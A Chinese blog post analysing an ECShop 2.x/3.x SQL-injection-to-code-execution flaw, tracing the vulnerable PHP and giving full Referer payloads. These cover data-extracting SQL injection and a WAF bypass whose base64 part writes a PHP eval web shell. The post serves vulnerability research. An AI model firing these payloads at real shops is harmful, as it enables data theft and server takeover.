ecshop 2.x/3.x sql注入/任意代码执行漏洞_whatday的博客-程序员资料_ecshop 2.x/3.x sql注入/代码执行

影响版本:

    Ecshop 2.x

    Ecshop 3.x-3.6.0

漏洞分析:

该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

注:以下代码分析基于ECShop 2.7.3

SQL注入漏洞分析:

首先我们看一下漏洞的起源点 user.php ,在用户login这里有一段代码:

/* 用户登录界面 */
elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }

    }


    $captcha = intval($_CFG['captcha']);
    if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
    {
        $GLOBALS['smarty']->assign('enabled_captcha', 1);
        $GLOBALS['smarty']->assign('rand', mt_rand());
    }

    $smarty->assign('back_act', $back_act);
    $smarty->display('user_passport.dwt');
}

Ecshop使用了php模版引擎smarty,该引擎有两个基本的函数assign()、display()。assign()函数用于在模版执行时为模版变量赋值,display()函数用于显示模版。

smarty运行时,会读取模版文件,将模版文件中的占位符替换成assign()函数传递过来的参数值,并输出一个编译处理后的php文件,交由服务器运行。

可以看到 $back_act 是从 $GLOBALS['_SERVER']['HTTP_REFERER'] 获取到的,HTTP_REFERER 是外部可控的参数,这也是我们注入payload的源头。

在模版执行时,assign()把 $back_act 赋值给模版变量 back_act ,下面我们跟进这个模版变量到 /includes/cls_template.php :

    /**
     * 注册变量
     *
     * @access  public
     * @param   mix      $tpl_var
     * @param   mix      $value
     *
     * @return  void
     */
    function assign($tpl_var, $value = '')
    {
        if (is_array($tpl_var))
        {
            foreach ($tpl_var AS $key => $val)
            {
                if ($key != '')
                {
                    $this->_var[$key] = $val;
                }
            }
        }
        else
        {
            if ($tpl_var != '')
            {
                $this->_var[$tpl_var] = $value;
            }
        }
    }

从上面的assign()函数,我们看出 $tpl_var 接受我们传过来的参数 $back_act ,但不是个数组,所以  this−>var[this−>var[back_act] = $back_act ,而后调用display()函数来显示模板,在includes/init.php文件中创建了Smarty对象cls_template来处理模版文件,对应的文件是 includes/cla_template.php:

function display($filename, $cache_id = '')
    {
        $this->_seterror++;
        error_reporting(E_ALL ^ E_NOTICE);

        $this->_checkfile = false;
        $out = $this->fetch($filename, $cache_id);

        if (strpos($out, $this->_echash) !== false)
        {
            $k = explode($this->_echash, $out);
            foreach ($k AS $key => $val)
            {
                if (($key % 2) == 1)
                {
                    $k[$key] = $this->insert_mod($val);
                }
            }
            $out = implode('', $k);
        }
        error_reporting($this->_errorlevel);
        $this->_seterror--;

        echo $out;
    }

从user.php调用display()函数,传递进来的$filename是user_passport.dwt,从函数来看,首先会调用 $this->fetch 来处理 user_passport.dwt 模板文件,fetch函数中会用 $this->make_compiled 来编译模板。user_passport.dwt其中一段如下:

<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />

make_compiled 会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量 $back_act 传递进去了,解析完变量之后返回到display()函数中。此时$out是解析变量后的html内容,后面的代码是判断 $this->_echash 是否在 $out 中,如果存在的话,使用 $this->_echash 来分割内容,得到$k然后交给insert_mod处理,我们来查找 _echash 的值:

发现 _echash 是个默认的值,不是随机生成的,所以 $val 内容可随意控制。跟进$this->insert_mod:

  function insert_mod($name) // 处理动态内容
    {
        list($fun, $para) = explode('|', $name);
        $para = unserialize($para);
        $fun = 'insert_' . $fun;

        return $fun($para);
    }

$val传递进来,先用 | 分割,得到 $fun 和 $para,$para进行反序列操作,$fun 和 insert_ 拼接,最后动态调用 fun(fun(para),函数名部分可控,参数完全可控。接下来就是寻找以 insert_ 开头的可利用的函数了,在 /includes/lib_insert.php 有一个 insert_ads() 函数,正好满足要求。看下 insert_ads() 函数:

function insert_ads($arr)
{
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }
    else
    {
        if ($static_res[$arr['id']] === NULL)
        {
            $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, '.
                        'p.ad_height, p.position_style, RAND() AS rnd ' .
                    'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                    'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                    "WHERE enabled = 1 AND a.position_id = '" . $arr['id'] .
                        "' AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' " .
                    'ORDER BY rnd LIMIT 1';
            $static_res[$arr['id']] = $GLOBALS['db']->GetAll($sql);
        }
        $res = $static_res[$arr['id']];
    }
    $ads = array();
    $position_style = '';

 $arr 是可控的,并且 $arr['id'] 跟 $arr['num'] 会拼接到SQL语句中,这就造成了SQL注入漏洞。

根据上面的流程,可以构造出如下形式的payload

_echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))

由于通过上述分析,$arr['id'] 跟 $arr['num'] 都会拼接到SQL语句中,所以可以任意构造一个参数为sqlpayload,后面_echash 是默认的,fun是拼接到函数insert_后的名字,这里是insert_ads(),所以fun就是ads,关键是后面payload反序列化字符串如何写,网上比较早之前出现的payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

我们把payload还原到语句中:

可以看到payload顺利添加到sql语句中,来看这个payload序列化语句:

a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1

用在线网站(https://1024tools.com/unserialize)反序列化查看:

Array
(
    [num] => 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
    [id] => 1
)

demo环境测试:

这是在 $arr['num'] 处拼接sql语句,在 $arr['id'] 处同样可以构造payload:

Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:58:"1' and updatexml(1,make_set(3,'~',(select database())),1)#";

我们把payload还原到语句中:

demo环境测试:

构造payload爆出表名:

Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:133:"1' and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#";}

demo环境测试:

当然,同时利用 $arr['id'] 和 $arr['num'] 两个参数,引入 /**/ 将 ORDER BY 语句注释掉也是可以的,构造payload:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:4:"' /*";s:3:"num";s:132:"*/ and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)";}

我们把payload还原到语句中:

demo环境测试:

只要仔细分析源代码,能成功闭合单引号,注释后面多余的内容,payload千千万,我这里只用sql爆错注入的updatexml()方法,其他均可利用!

 

代码执行漏洞分析:

继续看 insert_ads() 函数:

$position_style = '';

    foreach ($res AS $row)
    {
        if ($row['position_id'] != $arr['id'])
        {
            continue;
        }
        $position_style = $row['position_style'];
        switch ($row['media_type'])
        {
......
    $position_style = 'str:' . $position_style;
    $need_cache = $GLOBALS['smarty']->caching;
    $GLOBALS['smarty']->caching = false;
    $GLOBALS['smarty']->assign('ads', $ads);
    $val = $GLOBALS['smarty']->fetch($position_style);

    $GLOBALS['smarty']->caching = $need_cache;

    return $val;

可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用 display() 函数,然后调用fetch的时候传入的参数是 user_passport.dwt,而在此处传入的参数是 $position_style,向上溯源,发现是 $row['position_style'] 赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是 $position_style可控。要到 positionstyle=positionstyle=row['position_style'];还有一个条件,就是 $row['position_id'] 要等于 $arr['id'] ,查询结果可控,arr['id']同样可控。之后 $position_style会拼接 'str:' 传入fetch函数,跟进fetch方法:

/**
     * 处理模板文件
     *
     * @access  public
     * @param   string      $filename
     * @param   sting      $cache_id
     *
     * @return  sring
     */
    function fetch($filename, $cache_id = '')
    {
        if (!$this->_seterror)
        {
            error_reporting(E_ALL ^ E_NOTICE);
        }
        $this->_seterror++;

        if (strncmp($filename,'str:', 4) == 0)
        {
            $out = $this->_eval($this->fetch_str(substr($filename, 4)));
        }
        else
        {
            ......

因为之前拼接 'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

/**
     * 处理字符串函数
     *
     * @access  public
     * @param   string     $source
     *
     * @return  sring
     */
    function fetch_str($source)
    {
        if (!defined('ECS_ADMIN'))
        {
            $source = $this->smarty_prefilter_preCompile($source);
        }
        $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
        if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
        {
            $sp_match[1] = array_unique($sp_match[1]);
            for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
            }
             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
            {
                 $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
            }
         }
         return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
    }

第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则:

preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source)

这个正则是将捕获到的值交于 $this-select() 函数处理。例如,$source的值是 abc123{hello}456efg ,正则捕获到的就是 hello,然后就会调用 $this-select("hello")。

跟进select函数:

 /**
     * 处理{}标签
     *
     * @access  public
     * @param   string      $tag
     *
     * @return  sring
     */
    function select($tag)
    {
        $tag = stripslashes(trim($tag));

        if (empty($tag))
        {
            return '{}';
        }
        elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分
        {
            return '';
        }
        elseif ($tag{0} == '$') // 变量
        {
//            if(strpos($tag,"'") || strpos($tag,"]"))
//            {
//                 return '';
//            }
            return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
        }
        ......

当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

/**
     * 处理smarty标签中的变量标签
     *
     * @access  public
     * @param   string     $val
     *
     * @return  bool
     */
    function get_val($val)
    {
        if (strrpos($val, '[') !== false)
        {
            $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
        }

        if (strrpos($val, '|') !== false)
        {
            $moddb = explode('|', $val);
            $val = array_shift($moddb);
        }

        if (empty($val))
        {
            return '';
        }

        if (strpos($val, '.$') !== false)
        {
            $all = explode('.$', $val);

            foreach ($all AS $key => $val)
            {
                $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
            }
            $p = implode('', $all);
        }
        else
        {
            $p = $this->make_var($val);
        }

当传入的变量没有.$时,调用$this->make_var,跟进make_var:

/**
     * 处理去掉$的字符串
     *
     * @access  public
     * @param   string     $val
     *
     * @return  bool
     */
    function make_var($val)
    {
        if (strrpos($val, '.') === false)
        {
            if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
            {
                $val = $this->_patchstack[$val];
            }
            $p = '$this->_var[\'' . $val . '\']';
        }
        else
        {
           .....

在这里结合select函数里面的语句来看,<?php echo this−>var[′this−>var[′val'];?>,要成功执行代码的话,$val必须要把 [' 闭合,所以payload构造,从下往上构造,$val为 abc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是 $,所以payload变成了 $abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为 {$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id'] 和 $arr['id'] 要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /* , $arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -

0x27202f2a是 ' /* 的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d 是上面构造的php代码 {$abc'];echo phpinfo/**/();//} 的16进制值,也就是$position_style。

 

结合之前的SQL漏洞的payload构造,所以最终的payload的是:

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

demo环境测试:

可以看到成功执行了 phpinfo();

 

ECShop 3.x 绕过

上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF( includes/safety.php ),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

下面的测试版本为ECshop3.0,3.x版本的echash是 45ea207d7a2b68c49582d2d22adf953a 。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id'] 和 $arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用 /**/ 注释掉,这样就不会触发WAF。

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:286:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:9:"' union/*";}45ea207d7a2b68c49582d2d22adf953aadsa

靶机环境

https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md

 

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/whatday/article/details/107073154

智能推荐

中国银行业数字化转型研究报告 附下载_互联互通社区的博客-程序员资料

以在数据化、智能化为特征的数字化转型是银行业的一次产业革命。以支付功能的在线化为例,近年来移动支付领域的“脱媒”给银行上了生动的一课,即使是全国性的大型银行,面对互联网公司的“降维”竞争也是无能为力,区域性银行更是全面失守。这种数字化金融服务对银行业的传统理念和服务模式,乃至市场生态和竞争格局均形成无可规避的颠覆性冲击,银行要具备哪些核心能力,如何提高运营管理效率等,都成...

activity 与service 互相传值_14skyang的博客-程序员资料_activity向service传值

转自:activity 与service 互相传值activity中 向service传值与ativity互相传值类似在activity中Intent regIntent = new Intent(this, ChatService.class);regIntent.putExtra(“student_id”,student_id);startService(regIntent);然...

ubuntu16.04安装anaconda(python2.7 版本)_深夜虫鸣的博客-程序员资料

1.下载anaconda安装文件,官网速度较慢,建议清华开源软件镜像站下载: https://mirrors.tuna.tsinghua.edu.cn/help/anaconda/ 2.用终端进入anaconda安装文件所在文件夹路径(cd xxx) 3. 在终端输入bash xxx(xxx为anaconda安装文件名 4. 不断按enter键是命令窗口显示的内容来到协议末尾,输入yes,然后

Rviz中控制机器人模型运动(arbotix)_most delay的博客-程序员资料_rviz控制机器人运动

前言:通过 URDF 结合 rviz 可以创建并显示机器人模型,不过,当前实现的只是静态模型,如何控制模型的运动呢?在此,可以调用 Arbotix 实现此功能。简介:Arbotix:Arbotix 是一款控制电机、舵机的控制板,并提供相应的 ros 功能包,这个功能包的功能不仅可以驱动真实的 Arbotix 控制板,它还提供一个差速控制器,通过接受速度控制指令更新机器人的 joint 状态,从而帮助我们实现机器人在 rviz 中的运动。这个差速控制器在 arbotix_python 程序包中,完整的

Vue实现手动ajax上传并将文件转成Base64编码字符串传给后端_程序猿爱篮球的博客-程序员资料_vue base64文件上传

Vue实现手动ajax上传并将文件转成Base64编码字符串传给后端最近初学vue项目中要用到上传功能,因为element-ui默认通过action上传,不够灵活,看了官方文档之后,改用其中属性http-request实现自定义上传(http-request: 覆盖默认的上传行为,可以自定义上传的实现)先贴一下element-ui Upload 上传的属性参数说明类型默认值action必选参数,上传的地址stringheaders设置上传的请求头部objec

标准库的String类型详解_PengCoX的博客-程序员资料

标准库的String类型详解String 是C++标准库STL里面的一种常用的容器,(相当于保存数据类型为char的vector容器)。这个类提供了相当丰富的函数来进行对自身元素字符串的操作,以及与C风格字符串之间的转换。在C语言里,处理字符串是一件相当困难的事。(因为通常在使用字符串操作的时候会用到一个相当不容易驾驭的类型:指针)比如下面这个例子:1...

随便推点

leedcode题解-贪心_h_wzy的博客-程序员资料

1、分配饼干455. Assign Cookies (Easy)题目描述:每个孩子都有一个满足度,每个饼干都有一个大小,只有饼干的大小大于等于一个孩子的满足度,该孩子才会获得满足。求解最多可以获得满足的孩子数量。Input: [1,2], [1,2,3] Output: 2思路:对饼干大小、孩子的满足度排序,尽最大可能满足更多的孩子;class Solution {publ...

常用子网掩码总结_ncdawen的博客-程序员资料_常见子网掩码

很多刚学网络的人只知道标准的子网掩码:255.255.255.0 /255.255.0.0/255.0.0.0 在RouterOS中子网掩码的表示方式与windows 下的不同,如要表示192.168.0.1,255.255.255.0,在windows下在TCP/IP设置中直接输入即可,在RouterOS必须转变为/X,X为数字的形式,X就是子网掩码中1的个数,如255.255.255.0,25

点击iPhone/iPad上的加密相册或保险箱提示“无法安装加密相册或保险箱,App Store已不提供此应用”解决方案_ysysbaobei的博客-程序员资料_苹果把加密相册下架了

点击iPhone/iPad上的加密相册、保险箱、加密相册Pro、保险箱Pro提示“无法安装加密相册或保险箱,App Store已不提供此应用”解决方案1.本文适用条件:1)任何时候,遇到任何情况,不要删除app,不要卸载app,因为数据是最重要的,有问题先联系技术支持(技术支持看不到你的隐私文件,并且完全免费):技术支持qq群:961952432技术支持微博:加密相册技术...

【自我修炼】24岁创业公司北京嵌入式软件工程师的一天_-ATAO----的博客-程序员资料

【浮生一日】北京程序员的真实一天北漂蜗居女友早起上班程序员七点半起自己的小型工作室挤公交.....真实.....9点10 上班商业办公楼做硬件的产品经理:运维工程师下班回家北京的花销老婆管钱每天记账 算结余谈论离开北京论女朋友考研...关于父母关于程序员充电...标题 : 北京程序员的真实一天起源:因为感冒压力大心情不好 ,逛了下youtube发现一个挺有意思的视频 讲的是24岁嵌入式软件工程师的日常 -更新次数:最近更新时间 : 2021 6 24首次更新时间:更新内容:下次更新

安卓应用crash日志的获取_大将军的日常的博客-程序员资料_android crash日志

安卓系统的应用免不了crash,或者是应用本身的问题,或者安卓设备的问题,或者安卓系统本身也有bug,那么,把crash的记录在日志,并通过日志回传或者本地获取crash并进行分析,就能更方便的,更有效的分析问题,解决问题笔者所知的方法大概有三种:第一种:市面上现有的加固服务方大多提供这个服务,只要把应用上传,平台会自动收集crash日志用于分析,不过前提是要有这些平台的账号(比如友盟)

1115 开心的金明_Rainpacker的博客-程序员资料

1115 开心的金明 时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题目描述 Description金明今天很开心,家里购置的新房就要领钥匙了,新房里有一间他自己专用的很宽敞的房间。更让他高兴的是,妈妈昨天对他说:“你的房间需要购买哪些物品,怎么布置,你说了算,只要不超过N元钱就行”。今天一早金明就开始做预算,但是他想买的东西太多了,肯定会超过

推荐文章

热门文章

相关标签